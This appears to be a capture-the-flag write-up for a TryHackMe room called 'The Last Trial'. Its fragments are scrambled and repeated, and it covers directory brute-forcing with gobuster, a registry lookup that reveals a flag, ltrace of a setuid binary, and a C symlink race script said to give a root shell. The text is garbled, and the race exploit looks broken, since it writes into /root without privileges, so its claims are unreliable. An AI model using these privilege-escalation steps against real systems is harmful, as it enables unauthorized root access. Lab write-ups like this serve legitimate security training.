The Last Trial Tryhackme Verified -

Compile on target: gcc race.c -o race and run in background. Simultaneously, repeatedly execute /usr/bin/verify_access . Within seconds, you get a root shell.

Dump SAM:

So fire up your Kali VM, set your netcat listener, and take on The Last Trial. When you finally see that final hash accepted, you’ll have earned every bit of the verified title. This article is for educational purposes only. Always follow TryHackMe’s rules and do not share flags publicly. The techniques described apply to this specific room and should not be used on unauthorized systems. the last trial tryhackme verified

ltrace /usr/bin/verify_access It calls access("/root/verified.flag", F_OK) . If the file exists, it gives root shell. Since you can’t create /root/verified.flag without root, you need to exploit a race condition. Verified Race Condition Script: Save as race.c : Compile on target: gcc race

Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\" -Name "LastTrial" Value: THM{verified_49d8f1a2b3c4e5f6a7b8c9d0e1f2a3b4} Dump SAM: So fire up your Kali VM,

gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -x php,txt,zip Look for /dev/ , /notes/ , or a .git/ directory. The last trial hides an SSH key in a .git cache. Step 3: The "Hidden API" Endpoint One element unique to this room is a hidden GraphQL endpoint at /api/graphql . This is not documented. Use ffuf to fuzz for API endpoints:

#include <stdio.h> #include <unistd.h> #include <sys/stat.h> int main() { while(1) { symlink("/etc/passwd", "/root/verified.flag"); unlink("/root/verified.flag"); } return 0; }